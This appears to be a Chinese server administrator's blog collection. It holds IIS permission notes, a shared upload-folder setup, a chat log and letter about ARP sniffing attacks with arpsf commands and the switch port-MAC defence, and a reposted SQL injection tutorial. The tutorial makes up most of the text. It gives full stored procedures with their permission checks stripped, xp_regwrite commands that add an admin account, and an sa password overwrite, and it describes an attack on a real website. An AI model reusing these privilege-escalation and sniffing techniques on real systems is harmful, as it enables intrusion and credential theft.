2006年06月17日

设置四个权限即可,Administrators ,System,IUSR以及Network Service

若没有IUSR的权限,则弹出要输入帐号和密码的窗户

IIS 6 服务器上默认情况下没有 ASPNet 用户,只有在安装了 ASP.net 后才会加载。除非是为了与 IIS 5兼容而在工作进程隔离模式下运行 ASP.net,否则不会使用 ASPNet 用户;默认情况下,这些应用程序运行在 Network Services 帐户下。

可以不用IIS_WPG,而使用network service的权限,因为network service是IIS_WPG的成员。

2005年07月11日

我 16:39:05
老大,我是一个站点的站长,有些关于嗅探被害问题的请教,请问有空指教下小弟么?
Y shadow 16:38:42
好,你说吧
我 16:40:20
是这样的
Arpsniffer作者 16:30:34
 
我 16:40:51
最初的时候,有朋友进了和我同一网关的服务器,然后对我的服务器做嗅探,由于我服务器的流量太大,每秒至少30M

我 16:41:04
dali,这个是arpsniffer的作者
我 16:41:10
我请教他一些嗅探的问题

Arpsniffer作者 16:31:13
具体问题
我 16:41:53
然后我的服务器正常访问就访问不了,之后我让机房在交换机绑定了端口,应该这样就没有问题了吧
Arpsniffer作者 16:32:05
恩,不见得
我 16:42:40
那有什么更好的防止嗅探的方法没有
Arpsniffer作者 16:33:54
你这样做吧:
在自己服务器上添加一个网关的静态mac映射,然后在网关那边也静态绑定你的服务器的mac,就行了
我 16:45:07
在服务器端如何静态帮定网关的mac
是用arp命令吗?
Arpsniffer作者 16:36:47
arp -s 网关ip 网关mac

我 16:47:30
还有个问题 
Arpsniffer作者 16:37:19
 wen  
Arpsniffer作者 16:38:19
你可以写个bat,每次开机的时候自动设置,
我 16:48:44
我的服务器A被嗅探欺骗,以至网关把A的IP指向了另外一个MAC地址,我能不能通过同样嗅探欺骗的方式把A的IP指向弄回来,(我还有一台在

同一网关下的B服务器)
Arpsniffer作者 16:38:48
可以
Arpsniffer作者 16:39:21
网络可能不连续
我 16:49:59
不连续是啥意思#17
Arpsniffer作者 16:41:08
互相刷mac映射,网关那一下指向正确的地方,过一下又被刷回去变成错误的地方,如果你和欺骗者同时间欺骗的话就会出现断断续续的情况
我 16:52:04
明白了。。。。
Arpsniffer作者 16:42:03

我 16:52:35
用您的那个arpsniffer的话具体怎么抢过来
我 16:52:57
arpsf -cheatonly -t A的IP -g Gateway 
我 16:52:59
这样么
Arpsniffer作者 16:43:28
arpsf -cheatonly -t tagip -c cheatip cheatmac -times 0
我 16:55:19
好的,我测试下
Arpsniffer作者 16:45:24
恩,好的
我 17:15:14
谢谢shadow指教,我的服务器似乎又好了
Arpsniffer作者 17:05:58
不客气,应该的,这个程序看来危害比较大,以后不发布了
我 17:17:15
恩,我上次被sniff,和机房的人解释这个问题都解释了半天,不过您的程序还是很不错的

2005年07月06日

采用“网络共享目录”创建分布式IIS共享上传目录的方案
Dali Wang
2005-7-6 by Nanjing

一、目的
 两台IIS Web Service 共享局域网中的“网络共享目录”,实现“动网论坛”的UploadFile和UploadFace(文件上传目录)的同步上传文件。

二、环境
 两台IIS Web Server的分别为:
 1、服务器一的名字为:Server1
 2、服务器二的名字为:Server2

三、设置
 1、每台电脑都必须安装“动网论坛7.0sp2”,都将原动网论坛下的UploadFile和UploadFace两个目录删除掉。
 2、在服务器一上面创建一个目录“Uploads”,并在Uploads目录下创建UploadFile和UploadFace两个目录。
 3、在服务器一和服务器二创建同样的用户,如shareguest(从属于guest组)并且密码也要一样。
 4、共享Uploads目录,目录共享的权限中设置shareguest有读和写的权限(方便服务器二使用这个帐号连过来)。
 5、设置Uploads目录的NTFS访问权限:Administartors,System组有完全权限,ShareGuest有读写权限,服务器一的IIS连接帐号有读写权限。

 6、在服务器一的IIS中“动网论坛”网站下,“新建”一个“虚拟目录”,“别名”填写UploadFile,“路径”选择本机中的Uploads\UploadFile.(需要填写绝对路径)
 7、在服务器一的IIS中“动网论坛”网站下,“新建”一个“虚拟目录”,“别名”填写UploadFace,“路径”选择本机中的Uploads\UploadFace.(需要填写绝对路径)
 8、在服务器二的IIS中“动网论坛”网站下,“新建”一个“虚拟目录”,“别名”填写UploadFile,“路径”填写://Server1/Uploads/UploadFile
 9、在服务器二的IIS中“动网论坛”网站下,“新建”一个“虚拟目录”,“别名”填写UploadFace,“路径”填写://Server1/Uploads/UploadFace

 10、在服务器二的两个虚拟目录中设置“连接为”的访问用户和密码,注意不要带服务器名(一般选择后还为“server2\shareguest”的名字,把“server2\”去掉)。

 11、设置服务器二的两个虚拟目录中的“目录安全性”的匿名访问用户和密码,不要带服务器名。(似乎没什么关系)

2005年06月10日

ARP SNIFFER攻击简单实施步骤和防范方法

苏州机房网络管理负责人以及中网科技技术负责人,您好,

    我是61.155.39.9和61.155.39.14的服务器的管理员胡天宇。最近黑客基地的一个朋友发现了我们服务器的一个漏洞,但此漏洞并非我们服务器的原因,而是因为一些网络设置的原因。这个漏洞除了影响我们的服务器以外,还影响到同一网关下的其他所有服务器。因此很冒昧给您们描述下这个漏洞,并恳请修复他。

    这种漏洞主要是采用了ARP SNIFFER(ARP嗅探)的方式,以下是我们的黑客基地的朋友给我写的一个简单的攻击教程。


    首先,若想嗅探服务器A,则第一步只要找到和A使用同一网关下的服务器B把他攻占下来,具体怎么扫描和A同一网关下的服务器并找有漏洞的服务器就就不赘述了,实际上很容易找到有漏洞的服务器,我们假设这个有漏洞的服务器叫做B。


    攻占下来B之后,把一些工具上传到B上去,主要是WinPcap.exe和arpsf.exe(附件中我附上了这两个程序),前一个是后一个程序的运行前提要先安装,安装好之后,运行以下命令:

arpsf -cheatsniff -t TargetIP -g GatewayIP -unecho -dp 80 -sniffpacket -o c:\sniff.txt -p TCP

(若提示检测不到本机MAC,用arp -s 本机IP 本机Mac绑定下即可。)


    然后只要耐心等待,一定能够得到你想要的信息。由于目前中国网络结构和相关技术人员素质等问题.这个可以说是百发百中。只要你攻占了其中一个服务器,你几乎能把同一个网关的所有服务器都拿下。

    (目前和61.155.39.1网关下的某台服务器已经被攻破,那位黑基的朋友就是采用上面的方法进行嗅探的,并可以得到我的ftp密码和帐号。)


防范的方法:

     这种ARP欺骗的原因是网关被欺骗了,上面的那个命令运行后,网关会认为B服务器是A服务器,结果就把所有应该发给A的信息发给了B,然后B就可以进行信息过滤,然后再转发给A。

     解决的方法就是在网关交换机那里, 把交换机上A服务器的端口和A服务器的网卡MAC值绑定即可,交换机默认设置是不做绑定而维护一个动态的MAC列表,所以很容易被B服务器欺骗。但由于交换机的物理端口是不可以伪造的,所以端口和网卡MAC值绑定是最保险的解决方案。


    很冒昧打扰你们,希望这个问题您那边能认真研究,并在以后上新服务器的时候作为一个默认的安全设置前提,这样一定能根除ARP嗅探攻击的危害性。

    另外附上我的两台服务器对外的网卡的MAC值和IP地址:

    61.155.39.9:  00-30-48-2a-a2-61
    61.155.39.14: 00-03-47-2f-ab-bb

    (获取一个服务器的网卡MAC的方法很简单,只要ping一下那个Ip,然后使用arp -a 命令即可看到那个ip的对应MAC值。)

祝工作顺利


天宇

QQ:895984
MSN:hu_tianyu@hotmail.com
MP:13305147035

2005年04月13日

在IIS中,处于安全考虑,我们可以将某些页面,比如登陆后台限制只有某些特定IP才能访问,以保证安全性。

如下图,保证了managenews目录只有222.94开头的IP段可以访问。

2005年04月03日

要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限(转贴)


————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限
声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为
发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很
大,所以请大家不要对国内的站点做任何具有破坏性的操作。



考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是
有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢
把话说满,呵呵,经本人数百次真实”实战演习”,基本上是100%可以拿到
webshell甚至系统权限)。
记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种
利用xp_regwrite来取得系统权限的方法:xp_regwrite
‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\currentvers ion\run’,'x
wq1′,’REG_SZ’,'net user xwq xwq /add’
xp_regwrite
‘HKEY_LOCAL_MACHINE’,'SOFTWARE\Microsoft\Windows\currentvers ion\run’,'x
wq2′,’REG_SZ’,'net localgroup administrators xwq /add’,只要让网站所在
的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不
太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发
动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(
除非是你十分想要搞定的网站)。
  呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大
必杀技之一————万能提权。
  假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权
限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿
到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,
sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只
会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都
已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系
统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说
backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》
里说过拉”备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,
你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权
限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议
,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)
呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这
就把我的三大必杀技之一————万能提升权限方法告诉大家。
在告诉大家之前,我们先做个实验
实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新
建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都
不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq
连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?



服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16
用户 ‘xwq’ 没有运行 DBCC auditevent 的权限。
服务器: 消息 15247,级别 16,状态 1,过程 sp_addlogin,行 17
用户没有执行此操作的权限。



呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固
定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我
所用呢?我们在这里看一下sp_addlogin的代码:
create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = ‘master’   — UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
Declare @ret   int   — return value of sp call
– CHECK PERMISSIONS –
IF (not is_srvrolemember(’securityadmin’) = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end
– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
– VALIDATE LOGIN NAME AS:
– (1) Valid SQL Name (SQL LOGIN)
– (2) No backslash (NT users only)
– (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(‘\’, @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
end
–Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (‘public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
– LOGIN NAME MUST NOT ALREADY EXIST –
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
– VALIDATE DEFAULT DATABASE –
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
– VALIDATE DEFAULT LANGUAGE –
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid –server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
– VALIDATE SID IF GIVEN –
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
– VALIDATE AND USE ENCRYPTION OPTION –
declare @xstatus smallint
select @xstatus = 2 — access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0×800, — old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
– ATTEMPT THE INSERT OF THE NEW LOGIN –
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 — this indicates we saw duplicate row
  return (1)
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
– FINALIZATION: RETURN SUCCESS/FAILURE –
raiserror(15298,-1,-1)
return (0) — sp_addlogin
GO
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
sp_addlogin,主要是这里一段再搞鬼
– CHECK PERMISSIONS –
IF (not is_srvrolemember(’securityadmin’) = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15247,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end



只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。
好,我们先把sp_addlogin删拉
drop procedure sp_addlogin



然后再来恢复sp_addlogin



create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = ‘master’   — UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
Declare @ret   int   — return value of sp call

– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
– VALIDATE LOGIN NAME AS:
– (1) Valid SQL Name (SQL LOGIN)
– (2) No backslash (NT users only)
– (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(‘\’, @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
end
–Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (‘public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
– LOGIN NAME MUST NOT ALREADY EXIST –
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
– VALIDATE DEFAULT DATABASE –
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
– VALIDATE DEFAULT LANGUAGE –
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid –server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
– VALIDATE SID IF GIVEN –
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
– VALIDATE AND USE ENCRYPTION OPTION –
declare @xstatus smallint
select @xstatus = 2 — access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus | 0×800, — old-style
encryption
@passwd = convert(sysname, convert(varbinary
(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> ’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
return 1
end
– ATTEMPT THE INSERT OF THE NEW LOGIN –
INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
    getdate(), @loginame, convert(varbinary(256), @passwd),
    db_id(@defdb), @deflanguage)
if @@error <> 0 — this indicates we saw duplicate row
  return (1)
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
– FINALIZATION: RETURN SUCCESS/FAILURE –
raiserror(15298,-1,-1)
return (0) — sp_addlogin
GO



这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器
里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。
我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具
有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变
成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的
用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么
让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让
sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的
一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码
:create procedure sp_addsrvrolemember
@loginame sysname,   — login name
@rolename sysname = NULL — server role name
as
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
declare @ret   int,   — return value of sp call
    @rolebit   smallint,
    @ismem   int
– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addsrvrolemember’)
return (1)
end
– VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS –
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
  raiserror(15402, -1, -1, @rolename)
  return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end
– AUDIT A SUCCESSFUL SECURITY CHECK –
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)
– CANNOT CHANGE SA ROLES –
if @loginame = ’sa’
begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
end
– OBTAIN THE BIT FOR THIS ROLE –
select @rolebit = CASE @rolename
    WHEN ’sysadmin’     THEN 16
    WHEN ’securityadmin’   THEN 32
    WHEN ’serveradmin’   THEN 64
    WHEN ’setupadmin’   THEN 128
    WHEN ‘processadmin’   THEN 256
    WHEN ‘diskadmin’   THEN 512
    WHEN ‘dbcreator’   THEN 1024
WHEN ‘bulkadmin’ THEN 4096
    ELSE NULL END
– ADD ROW FOR NT LOGIN IF NEEDED –
if not exists(select * from master.dbo.syslogins where
loginname = @loginame)
begin
  execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
  if (@ret <> 0)
begin
  raiserror(15007,-1,-1,@loginame)
  return (1)
end
end
– UPDATE ROLE MEMBERSHIP –
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
xdate2 = getdate()
where name = @loginame and srvid IS NULL
– UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
SYSLOGINS CHANGE –
exec(‘use master grant all to null’)
raiserror(15488,-1,-1,@loginame,@rolename)
– FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) — sp_addsrvrolemember
GO



把这一段删除 — VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS –
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
  raiserror(15402, -1, -1, @rolename)
  return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,
NULL)
raiserror(15247,-1,-1)
return (1)
end



这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就
成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限
,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或
者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和
sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程
,利用我的万能提权必杀技,我们都可以使用。比如:sp-
configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很
多只好sysadmin权限能利用的,我们都可以让他们为我所用。
下面再举一个万能提权的例子
和我一起打造一个永远不会被杀及完美的后门
我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员
登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一
篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可
以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才
可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实
也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配
置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin
和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一
段删除,再重建,我们就好用拉。
CREATE PROCEDURE sp_configure — 1996/08/14 09:43
@configname   varchar(35) = NULL   — option name to configure
,@configvalue int     = NULL   — new configuration value
as
set nocount on
declare
@confignum         int   –Num of the opt to be configured
,@configcount       int   –Num of options like @configname
,@show_advance       int   –Y/N Read&Write actions on
“advanced” opts
declare @fullconfigname varchar (35)
declare @prevvalue   int
/*
** Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
select @show_advance = 1   — Display advanced options
else
select @show_advance = 0   — Don’t display advanced options
/*
** Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and
type=’C')
<> @@max_connections
update master.dbo.spt_values
  set high = @@max_connections
  where number = 103
    and type=’C’
/*
** If no option name is given, the procedure will just print out all
the
** options and their values.
*/
if @configname is NULL
begin
  select name, minimum = low, maximum = high,
    config_value = c.value,
    run_value = master.dbo.syscurconfigs.value
  from master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigs
  where type = ‘C’
    and number = c.config
    and number = master.dbo.syscurconfigs.config
    and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
    )
  order by lower(name)
  return (0)
end
/*
** Use @configname and try to find the right option.
** If there isn’t just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),
@prevvalue = min (c.value)
from master.dbo.spt_values v ,master.dbo.sysconfigures c
where v.name like ‘%’ + @configname + ‘%’ and v.type = ‘C’
  and v.number = c.config
  and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
    (c.status & 2 = 0)
    )
/*
** If no option, show the user what the options are.
*/
if @configcount = 0
begin
  raiserror (15123,-1,-1,@configname)
  print ‘ ‘
  raiserror (15456,-1,-1)
  /*
  ** Show the user what the options are.
  */
  select name, minimum = low, maximum = high,
    config_value = c.value,
    run_value = master.dbo.syscurconfigs.value
  from master.dbo.spt_values, master.dbo.sysconfigures c,
master.dbo.syscurconfigs
  where type = ‘C’
    and number = c.config
    and number = master.dbo.syscurconfigs.config
    and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
    )
  return (1)
end
/*
** If more than one option like @configname, show the duplicates and
return.
*/
if @configcount > 1
begin
  raiserror (15124,-1,-1,@configname)
  print ‘ ‘
  select duplicate_options = name
  from master.dbo.spt_values,master.dbo.sysconfigures c
  where name like ‘%’ + @configname + ‘%’
    and type = ‘C’
    and number = c.config
    and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
    )
  return (1)
end
else
/* There must be exactly one, so get the full name. */
select @configname = name –,@value_in_sysconfigures = c.value
  from master.dbo.spt_values,master.dbo.sysconfigures c
  where name like ‘%’ + @configname + ‘%’ and type = ‘C’
    and number = c.config
    and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
    )
/*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin
select   v.name
      ,v.low   as ‘minimum’
      ,v.high as ‘maximum’
      ,c.value as ‘config_value’
      ,u.value as ‘run_value’
    from
      master.dbo.spt_values   v left outer join
      master.dbo.sysconfigures c on v.number = c.config
                    left outer join
      master.dbo.syscurconfigs u on v.number = u.config
    where
      v.type = ‘C ‘
    and   v.name like ‘%’ + @configname + ‘%’
    and
      ((c.status & 2 <> 0 and @show_advance = 1)
        OR
      (c.status & 2 = 0)
      )
return (0)
end
/*
** Now get the configuration number.
*/
select @confignum = number
from master.dbo.spt_values,master.dbo.sysconfigures c
where type = ‘C’
  and (@configvalue between low and high or @configvalue = 0)
  and name like ‘%’ + @configname + ‘%’
  and number = c.config
  and
    ((c.status & 2 <> 0 and @show_advance = 1)
        OR
    (c.status & 2 = 0)
    )
/*
** If this is the number of default language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
begin
if not exists (select * from master.dbo.syslanguages
    where langid = @configvalue)
  begin
    /* 0 is default language, us_english */
    if @configvalue <> 0
    begin
      raiserror(15127,-1,-1)
      return (1)
    end
  end
end
/*
** If this is the number of kernel language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
begin
if not exists (select * from master.dbo.syslanguages
    where langid = @configvalue)
  begin
    /* 0 is default language, us_english */
    if @configvalue <> 0
    begin
      raiserror(15028,-1,-1)
      return (1)
    end
  end
end
/*
** “user options” should not try to set incompatible options/values.
*/
if @confignum = 1534 –”user options”
begin
if (@configvalue & (1024+2048) = (1024+2048)) –
ansi_null_default_on/off
  begin
  raiserror(15303,-1,-1,@configvalue)
  return (1)
  end
end
/*
** Although the @configname is good, @configvalue wasn’t in range.
*/
if @confignum is NULL
begin
raiserror(15129,-1,-1,@configvalue,@configname)
return (1)
end
–Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)
#12828.
/*
** Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
where config = @confignum
/*
** Flush the procedure cache – this is to account for options which
become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache
raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with
log
return (0) — sp_configure
GO



ok,我们再
sp_configure ‘allow updates’,1
go
RECONFIGURE WITH OVERRIDE
go
好拉这样我们才好更改sa的密码。接着update sysxlogins set
password=0×0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50C
BB30267F53B9451B7189CA67AF19A1FC where sid=0×01,这样sa的密码就被我们改
成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完
全删除sa这个后门》。



实例:
下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行
一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。
www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候)
,在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测
试可真花费拉我不少时间,别误会,我不是说时间花在”检测”上,而是都放在
写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分
钟不到)。
在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能
要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,
我当然是在我写的程序里面输入拉)
create procedure sp_addlogin
@loginame sysname
,@passwd     sysname = Null
,@defdb     ; ; sysname = ‘master’   — UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage   sysname = Null
,@sid   varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
– SETUP RUNTIME OPTIONS / DECLARE VARIABLES –
set nocount on
Declare @ret   int   — return value of sp call

– DISALLOW USER TRANSACTION –
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
– VALIDATE LOGIN NAME AS:
– (1) Valid SQL Name (SQL LOGIN)
– (2) No backslash (NT users only)
– (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
  return (1)
if (charindex(‘\’, @loginame) > 0)
begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
end
–Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (‘public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
– LOGIN NAME MUST NOT ALREADY EXIST –
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
– VALIDATE DEFAULT DATABASE –
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
– VALIDATE DEFAULT LANGUAGE –
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid –server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
– VALIDATE SID IF GIVEN –
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
